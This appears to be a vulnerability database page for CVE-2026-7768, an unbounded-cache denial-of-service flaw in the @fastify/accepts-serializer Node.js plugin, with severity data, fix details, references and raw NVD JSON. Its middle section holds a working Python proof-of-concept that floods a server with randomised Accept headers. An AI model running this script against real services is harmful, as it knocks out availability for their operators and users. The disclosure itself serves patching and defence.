CVE-2026-7768

Description

@fastify/accepts-serializer cached serializer-selection results keyed by the request Accept header without a size limit or eviction policy. A remote unauthenticated client could send many distinct but matching Accept header variants to make the cache grow unbounded, eventually exhausting the Node.js heap and crashing the process. Versions <= 6.0.3 are affected. Update to 6.0.4 or later, which bounds the cache via an LRU with a default size of 100 entries, configurable through the new cacheSize plugin option.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

@fastify/accepts-serializer <= 6.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import random
import string

target_url = "http://vulnerable-host:3000/"

# Function to generate random Accept headers to flood the cache
def generate_random_accept():
    base = "application/json"
    # Add random parameters to make the header unique but valid
    params = []
    for _ in range(random.randint(1, 5)):
        key = ''.join(random.choices(string.ascii_letters, k=4))
        val = random.random()
        params.append(f"{key}={val}")
    return f"{base}; {', '.join(params)}"

print("Starting DoS attack on CVE-2026-7768...")
try:
    while True:
        headers = {
            "Accept": generate_random_accept()
        }
        # Send request to trigger caching
        r = requests.get(target_url, headers=headers)
        print(f"Sent request with Accept: {headers['Accept']}")
except KeyboardInterrupt:
    print("Attack stopped.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7768
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7768
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7768/
[4] VulDB https://vuldb.com/cve/CVE-2026-7768
[5] https://cna.openjsf.org/security-advisories.html
[6] https://github.com/fastify/fastify-accepts-serializer/security/advisories/GHSA-qxhc-wx3p-2wmg

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7768", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-05-04T20:16:21.107", "lastModified": "2026-05-07T15:11:09.037", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "@fastify/accepts-serializer cached serializer-selection results keyed by the request Accept header without a size limit or eviction policy. A remote unauthenticated client could send many distinct but matching Accept header variants to make the cache grow unbounded, eventually exhausting the Node.js heap and crashing the process. Versions <= 6.0.3 are affected. Update to 6.0.4 or later, which bounds the cache via an LRU with a default size of 100 entries, configurable through the new cacheSize plugin option."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/fastify/fastify-accepts-serializer/security/advisories/GHSA-qxhc-wx3p-2wmg", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}